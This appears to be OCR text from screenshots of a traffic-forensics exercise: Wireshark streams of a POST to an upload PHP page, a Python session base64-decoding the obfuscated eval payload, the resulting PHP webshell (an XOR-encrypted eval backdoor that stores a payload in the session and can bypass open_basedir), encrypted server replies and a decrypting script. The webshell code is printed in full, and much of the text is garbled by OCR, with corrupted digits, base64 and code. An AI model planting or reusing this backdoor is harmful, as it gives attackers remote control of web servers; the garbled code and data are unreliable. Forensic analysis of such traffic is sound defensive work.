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M Wireshark - 358 TCP i (tcp.stream eq 0) - [RS8 peapng - ]

POST /upload/1.php HTTP/1.1

User-Agent: Mozilla/5.8 (Windows NT 108.8; Winb4; xb4; rv:84.8) Gecko/28108101 Firefox/84.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-U5;q=0.3,en;q=0.2

Host: 42.192.84.152:8080

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-Length: 31979

pass=eval%28base6d_decodeX28strrevi28urldecodeX28%27K8QfKaQTgACIgoQDIBCIgACTgACTKEWOpkXZrRCLhRXYKRCK1R2b] SWZ98VZ tFmTkF 2bs 1XYwRyWOSUSTNVRTOFIgACIgACIgACIE
ACIK@wepU2csFmZ98TIpIybmSWSzNWazFmQBV2ZiwSYRFGZkgycvBXayR3coAiZpBCIgACIgACTIK@we INHb11HIgACTKOwOpY TMskSeltGIuM3chBHIoUDZthicBNnY1NHIvh2Y1BCIgACT gACTKEwOpk]
5eltGIskSYBFGZkgiblIHQoUGZvmblhSZk92YuV2XeYTZzFmYg86ajVGIgACIgACIgoQD7kiNxwCMskSeltGIuM3chBHIoUDZthic@NnYINHIvh2Y1BCIgACIgACTKewOpQWYvxehBHI owllY2VGIgAC
IgACIgoQD7kSeltGlsBVZtFmTkF2bs 1XYwRyWOIUSTNVRTOF JoUGZvNmbl1DZh9Gb5FGckACIgACIgACTKBwepk SX1TWYORWY vxehBHIbS@TINIUFN1XkgCd1N3cphCImlGI gACTKBwOpkXZrRCLpB1c|
zFGcksFVTOEUFRCKIR2bIVGZFRFNINXY1hSZkI2YuVHWPhRXYKRCIgACIKGwepk SXZNXYwRyWUNITQOF JoQXZzNXa0AiZppQD7 cSYRIJMIEZYSEGOIBTZ2M2MneTe1tGIKOWONQWY vxehB3J9UWbh5EZR
9Gb5FGckoQD7cS5elt2I9M3chBHIK@QFKBWOERCTuJIXdeVmc gACT goQDIBCIgAICNs zYkAVXpRyWERCTOASXpRYWERCT gACTgACTgoD7@VNXYSMrkGIbtEJgBDIjRCIgACI gACTgoQD7BSKrsSaks TKER
CkuVrbyRB(dkr17ATPpRCLy9mLuACIuoOD7lySkaRkuSLk97YuVrIUQWaBNmbleCN:TkwuyiulGdyQGrlT3Xy9m(erOLBWOpADLBlep(_XllWa99FleHOkaOpﬂCdyFrd79lbvl7r7V7rAp0
% % B&key=ROYEQeNVBERGQBYPUBYTUhoe TAtvMkVmMHRmD1NGE] TaHkwl bz THTA1SQVtdWkFBF1hNFBIVERAYPDESERRBQOZYAFYxQRINB1xzR1xXSRpY0280QQhhBHTxicGEPEgZWF2UAQ
FOBRBE@N2FLURSwhWDWSGRINGFRtKDWg6QhhBGUdCUEFBXQ56Bws IVFcQE1wQQ1xdXGs IVEs f TAtvMkEZQxFcVBIcCEAQUXEYRmcy fDB1fH18beVABKUWKQ1xBWRKGEA%2 FOBREEGMWRR
BCHD5qImITIR1xHBEEKVW1ZGF1IETAAFtFbThBS1QEQwcOVXBGU1pWVxxFbDEZzNmMrdy9iR@IQQUFdDnoHa@kUEVESSgpe fFYbGEVABKUWWQ1 xBRBKGAAX2 FOBRBEBNLaDpCGEEZT@IQQUFAD1B8QRAZF
10%2BlWg9eR1caHVo%2BaTtvEEIYQVAFERIRU10iUg9alkol SCVcAF SRVxodXASSEENWC@smQupBZk ZAUQBeSxIVXRERSE Ju0xUSERRBEBMWQUAPS1xeGVWVQUV1QBBtHRghDSwhsMBMRFRIPOWs TQxZFVg
1KDFgXYVRAULKERWZ ETRQSVRIQWDW2 FPZgUQRNDXwMQS1ESSgZ FHRZ tZyRgOBQHSRIZEko8XkVXXGsDUhBTAVKQGjwQRRCRDWFxMmhBVExAABSSZgxBUF xtVgBAB1 IMQkB1XAQXQBBEXGE9sOUMWRRECG
EEZIINMQINHEmwMRgBePVoASg/VXEAaHVo%2BaRZFEEJFbDNuOXUSERRFQQZFEFWWBORPALL1ZR1 xXSRpY0289aBhBGUNYUxIaEDSg ImVEDVIWF FUPGEA%2FOBRBEBMWRRBCSWRKEFhaXG1HFVIRQKOZW
rGUMRFRISFEEXPGUgYzFxLnc4FUZXQUcIXCpSOABAWR I cVQVQqV1xXD1cGHFYBL1EWYDpDHUFXRghSD18fVUocPmomYhwe FkcEQBEFCnkGEUgCbjsVERIUQRNDFiVDBEs SUAxfakVAXRVWPFUIXxFdSRB
PD8SERRBTmA8aDpCGEEZC1cVG1FVD3ACWEg13GFERFAISW1 ZXHEgaGDtvEEIYQR1DERUWQFESRgOCWF cYXQ9aDFVQGhZGBEAWWhECVBFaNGKkRFRISSWwSbjxFEETYEIwXREdcERATVhBDCURZNWEEDj £
R1xXFVoMWEVjUSUITjpoRxoWcE@XKB8ePhgYQR1DV1pAGhAIDIMNQV1eSxVLD1RbGhZwSARHX@4bSxgaNGkRFRISFEETQxIha@ZRPBEl1eERF2aRAIb] @S LmtKHAgSUhgQAwd pj 5pFkUQQkVsMBMRFRIA
RVGEVhFFCYDbDMePDIUR1oCRwpZ CxAQXSVcBWIMQUZRDHUWWAYYSBNSMBMRFRIbUk EbQ1AQXgFMCFYNb1BKWOVQESUATKOXT5eBkVqUV1aFVYNQhYSSxFBQmA7FRISFEETQxYDRQxbFVAMXxVUW] gEbA
RTEWSBVwINB19BQRoQB1oPUBWQGTVrGUMRFRISFEETQXZFFAQYXBk jV1pCV1pIFwVCWWOGhNDQRgOPzgUQRNDFkUQQhhBGUMVW11cQARAFEVFDUI e AFUQVAAX2 FOBRBEBMWRRBCGEEZQ1hTEhoQBxpD
ig6QhhBGUMRFRISFEETQxZ FEAZXQUIDFVZAXEAEXRAFRR5FGAdeBkVGGhZSSARDSBVHC ] ENXEMZ FFRXWwe bR1BMGVK1ax1DERUS EhRBEBMWRULWMKEZQxEVERTUQRNDFgNTD1cSXEsVUxsJOWsTQxZFEE
IYQR1DERVAVEAUQQEWQVMNVhVcDUVGCT8%2BQRNDFkUQQhgcNGKRFRISSWwSQxZFEAteQRFCVAE cCUUATXALpAEGL SXVKSxZSSFZRAIWHUBTZREAHTALSQVEdW ] SWG18WRBF9GRFEVKIbXFINUhdTRx1LG
BoBaREVERIUQRNDUBBeAUWIVgBRUKhWUQIcBINNFAZZFVhKPDSSERRBEBMWRUtvMKEZQxEVERTUQRNDFhdVFKBTVANWT 1t clUg1SFINNQxdaEk@RGRFWUBAAHITGSR1aEUgChjsVERIUQRNDFhg9aBhEG
MMODhPOWEVF 1gGRAEXDx1FVIBGYVESQApZCxhLQ2wzQxEVEIVYD1ECWkUUPHskalg8PxISFEFBEKIQQgwYRWYwdGYIPz4cPm1QEFABTARWDRFXS@IVEKABWRVVDGCDWBBUUVEAHERIbjxFEETYIR@Ed 3]
%2Bd30gfiYWWBAIXARLDVEYVxoQPmAMZDNIMGNGaiBjfGImayd6L3MrcS99RmRKCjg4ERRBERdXCVWwkUQLcEBEIENJHAIINUgxCShwik 2B fypScHxzeSQaWDtvEETYQROAVHZGUBAUQF5QBFWRXVo@aREY
EhJdBxNLEgRcDNAIVQZCFA9cQQ1FSk1o0kIYQRIDERUSVFsTVg JVDRBKHABVD3dcX1dHQVIQFKFWC1QEdwI cUBsST2w5QxZFEETYQR1DERUSWL JBGBdQDFwHdgBUBhAT EBwWRxVHUAXxcBIYAVAYQCBACG
kMaGDtvEEIYQR1DERUSERRBEGMWRVKEGE15CkIqV1tGSRcFXw1VLFKkMXEQYTjB4FEETQxZFEEIYQRIDERUSERRBEGNTAXBKeAIRB1hHGhZSCF8GeARdBxXF cBF5FROdXHRo%2BaRZFEEIYQR1DERUSERRB]
EOMARRBCGEE ZQxVWVmFAAECWRVhEEEBEAMA JFRISFEETQxZFEEIYQR1DERUSERRBEBMWBOIHWQoCh ] sVERIUQRNDFkUQQhhBGUMRFRISFBw2BaR ZFEEIYQR1DERUSERRBEONLaDpCGEEZQxEVER TUQRM
20289aBhBGUMRFRISSkwSQxZFEB81ax1DERVDVBxACWVFCVUSXR1QEEVGGhVWGEMCRRZvDUEEVZXTVEFXUAhBRBODFKMcA18wRVRGROAISGA8RRBCGEEZQxF1X11QCEFLEQAIELIKSS jxeRVdcawlSEFMB)
IRATSATuOXUSERQcPmkWRRBCUQCZSxARUVZnFVIXQxYZGTVrGUMRFRISFEF zZAFABWRAQR 15 aQVRBQWs0QwZYO1IDSwRdCkMSGwk SaxNDFkVNbz JBGUMRAVEcXT5ABK INFw1 IBFc8U1RBVIAIQUQa0h5MH
BgCbjsVERIUIRcBcCx813YgdCYRCEIyUAhBDVcIVUocPmomY2N3YGOGYCBkLGA2Zydwl 3R7c39xRmSKDIWg6QhhBGSMVak I TQAKTXhYWRBBNE1wTXVRRVXxxDbz8USRANHBOdPHA8fnd6IHAmH149aBhBG
MKEWIrDOwTXhYWROBLFU;dUlpHXEB1F’KFBEOKFEYWRBDVFRIFWJSkaUOOhwn7BUEMMFOI10W,TD¥1FprRDVKLFprEahBF’KYEFlLO7W*OKEVEhIUORM]VDIUCBp1HkBFEh;1DW,TOKLFEEIYORBAU
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D:\BaiduNetdiskDownload

A python

Python 2.7.17 (v2.7.17:c2f86d86e6, Oct 19 2819, 21:81:17) [MSC v.15808 64 bit (AMD64)] on win32

Type "help”, "copyright”, "credits” or "license” for more information.

»»>» a = "KBQFfKeQfgACIgoQDIBCIgACIgACIKBwWOpkXZrRCLhRXYKRCK1R2bJSWZ9BVZEtFmTKF2bs 1 XYwRyWOOUSTNVRTOFIgACTIgACTgACTgA
CIKBwepU2csFmZ98TIpIybmSWSzNWazFmQeV2ZiwSYBFGZkgycvBXayR3coAiZpBCIgACTIgACTIKOwelNHbl11HIgACTKOWOpY TMskSeltGIuM3ch
BHJoUDZthic®NnY1NHIvh2Y1BCIgACIgACIKBwOpkSeltGlskSYOFGZkgiblIHQoUGZvNmblhSZko2YuV2XeYTZzFmYg8GajVGIgACIgACTIgoQD
7kiNxwCMskSeltGIuM3chBHIoUDZthic®NnY1NHIvh2Y1BCIgACTgACTK@wOpQWY vxkiehBHIowlWY2VGIgACTIgACTIgoQD7kSeltGIs0VItFmTkF2
bs1XYwRyWOSUSTNVRTSFJoUGZvNmbl1DZh9Gb5FGck ACTgACTIgACTKBwepkSX11WYORWY vxWehBHIb5@TINIUFN1XkgCd1N3cphCImlGIgACIK®
wOpkXZrRCLpB1czFGcksFVTIEUTRCKLIR2bFVGZFRININXYihSZkI2YuVWPhRXYKRCIgACTIKOwepkSXzNXYwRYWUNITQOFJoQXZzNXaoAiZppQD7
cSYBIjM1EzYSEGOiBTZ2M2MnBTeltGIKBWONQWYvxiehB3I9UWbhSEZh9Gb5FGckoQD7 cSelt219M3chBHIKBQTKOwOERCIulXdeVmcgACIgoQD
9BCIgAiCNszYk4VXpRYWERCISASXpRYWERCIgACIgACIgoQD78VNXYSMrkGIbtEIgeDIjRCIgACIEACIgoQDTBSKrsSaks TKERCKUVGhyR3c8kG
J7ATPpRCKy9MZgACIgoQD7 lySkwCRkgSZk92YuVGIu9WaBNmblZmCNs TKwgy ZulGdy9Gc 113Xy ImcyVGQKOwOpADKS1Wbpx2X11WaB9Fd 1NHQKS
wOpgCdyFGdz91bvl2czV2cApQD”

»»> import base6d

»»» print base6d4.bb6ddecode(a[::-1])

@session_start();
@set_time limit(@);
@error_reporting(@);
function encode($D,$K){
for($i=08;%i<strlen($D);%i++) {
$c = PK[$i+1815];
$D[$i] = $D[$i]"%c;

)
return $D;

r
$pass="key";
$payloadName="payload’;
$key="3c6eBbB8a%9c15224a";
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval ($payload);
echo substr(md5($pass.tkey),8,16);
echo baseb4_encode(encode(@run($data),$key));
echo substr(md5($pass.tkey),16);
telseq
if (stripos($data,”getBasicsInfo”)!==false){
$_SESSION[$payloadName]=encode($data, $key);
r

$parameters=a

$_SES=array();

[function run($pms){
reDefSystemFunc(
$_SES=8getSessi
@session_st

(isset($_ SSIDN:$2955161L]}}{
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessiold],$sessiold),$sessiold)));
}
@session_write close();

if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
¥

formatParameter($pms);

if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir”]==true){
@bypass_open_basedir();
¥

$result-evalFunc();

if ($_SES!==null){
session_start():
$_SESSION[$sessiold]=base6d_encode(S1MiwYYr(serialize($_SES),$sessiold));
@session_write_close();

e

if (canCallGzipEncode()){
$result=gzencode($result,6);

1

return $result;
[
[function SIMiwYYr({$D,$K){
for($i=0;%i<strlen($D);
$D[$i] = $D[$i]~
i




Content-Type: téxtfhtml; charset=UTF-8

72a9c691ccdaab98fLITMGIAYT1jMy7ONDOM7 rOPZ2zBi0A==b4cdelf6ddd2a488HTTP/1.1 208 0K
Date: Wed, 11 Aug 2021 ©7:48:080 GMT

Server: Apache/2.4.38 (Debian)

Expires: Thu, 19 Nov 1981 B8:52:88 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: PHPSESSID=e9b22e@3d15d11864228afcd6c225aaf; path=/
Vary: Accept-Encoding

Content-Length: 1276

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

72a9c691ccdaab98fL1tMGIAYT1jM1BmblulC3NLgp/qjE6CBXjXcnncejHZIcwEbuiBkhbAedCyg+/elqtzyonXidjI6716AdPLIP3/ /
PmParcTHztqile7glfNQaZEqgecIebyPRVjBqELfnEdIoOweEgX /Sv7@RydPuTzDy8MY3d3uEytDLZMnadtqYXoul53nyqrsU9aBAg+AuTYaQTY/ fas/
nR3Lz1XuDaIOKCLRN84exabl3xF5bSAHQYnEKUOjy0/ExssMVEeFuADcefzLrOaw/

EkDxSLxD11NPBASjwlALXmEE s 6BulBwubYABW1 znHTTQThozNWzLORNKy fAgPP+nvmgHj1LXYpAVWLVihV1KjqxHIcn5TkILLHr 1wqOXpCiR5VLQYZul 2 JWEXWU28C1GI iNMAhOmt sXm7 AX7NTPAQLTK
Q2g+41 /HUtpLcOYHF 1VQKAvcuIf8uSphyul /QK13YEwWViDbnj2TrRHpqjxEj1PhPLKP /q/rT+IRXNsKaNDdpEHkL6RAhc7aPzbi/
sGXFsdXoMac2YVOyiCvXn@zyhNUIwTHs 50 nHy9Y3A6YGAFP9+41nei531jKgzL6ZvwPiDzsExRY1ng/

6ghBLAIGSW37waZpKEFWNF TLQ7OPUBYNDNH181ushsGGmIasFjA7vICzcMQYxm1P7 axABxWF7jdGzpnd9EMBswhXEap3CpiYdD/PLd5dwusgzc/
c5tQy7v2UniiMf7KKB5HEgxS1TzUGkdCme IVINPkned2 FWWDHOVIN 3wy hOVhAIb TyHSBy 0t 75 tQXSWe@l /7d0w3c4rQpbT82e4Mej15Dc9g03Y2WINATHIWZb ISWFEMKE /e /
Gyp2mhgYGrj@11FAI357+H0gBEOM+UXT /TEV740T7YLUFRe5hUzpY2URm21555 301k 1RM+w94uBNgl EKAKXVNT T 2ngpd ] EyLsmwInywxVDy /
WfLcaABnwlLH1zC2aBE+wyP+Iy678iMgVSzqdaEt5LY7Uavtuw] plaUOX74zpmnifKoYBSMWE+d+wikjaHNfAqFlzm2mYr7I1ZiYnpkVDIA+WQKvhPZ7pfyEDrhWiCoITOzbXksR6ZFbXUQplHXw2uZc
hDamQFBeUnzTNFVEELrHjGEARSWMEErqlIZsdLTIuliTDa2A2wIM73nVAdB+roeHfb2gs9TThWN3vSIMK+y3 jiYkm93hP6 /3myQn33hTnVwry IxCc/tfSIRsFFapCYzBibAcdelfeddd2a488

M Wireshark - iE82 TCP i (tcp.stream eq 39) - & i&-dec.cap — m] *

HTTP/1.1 2080 OK

Date: Wed, 11 Aug 2021 87:48:07 GMT

Server: Apache/2.4.38 (Debian)

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Set-Cookie: PHPSESSID=e9b22e083d15d11864220afcd6c225aaf; path=/
Vary: Accept-Encoding

Content-Length: 168

Keep-Alive: timeout=5, max=10@

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8&

72a9c691ccdaab98fL1tMGIAYT1jMiD+czrkE292pM3Zs1raHjHk7XY cCBjqeZqk+ tUFBATKVZ2hLUTQKRFaXXfRc7]BoiT8F83SnteMLpKXeCYILzrDNORDXYz+7aEvReKBTwAX1j@dnyG+BDZ1IMA==b4c4
elf6ddd2ad88HTTP/1.1 200 OK

Date: Wed, 11 Aug 2021 87:48:12 GMT

Server: Apache/2.4.38 (Debian)

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: PHPSESSID=e9b22e083d15d11864220afcd6c225aaf; path=/
Vary: Accept-Encoding

Content-Length: 112

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8&

72a9c691ccdaab98fL1tMGI4YT1jMn75e3j0B55/V31Qd1NXKQMCe3h4KwFQfVAEVworC18FfgB+B1WZhjRIQUTIIB5 jMTU=b4c4elfbddd2a488

WMEMENE, RENERE



1 < 7php g

2 Sde_str = "FLItMGI4YT1 M
function  encode (5D, SK) {

4 ] for ($i=0;%i<strlen($D):5i++)

5 Sc-=-SK[$i+lk
g SD[$i] = -S$D[$i]"$

12 Spass='k=y'; 3R
13 Spayloadiame= 1

! Skevy="3cEelk a L LE]

15 Sdata=encode (base64 decode (3de_str), Skey) ; BRI
16 echo - gzdecode (Sdata) ; IR

17 echo- Sdata;
18

lazz2da ;I8
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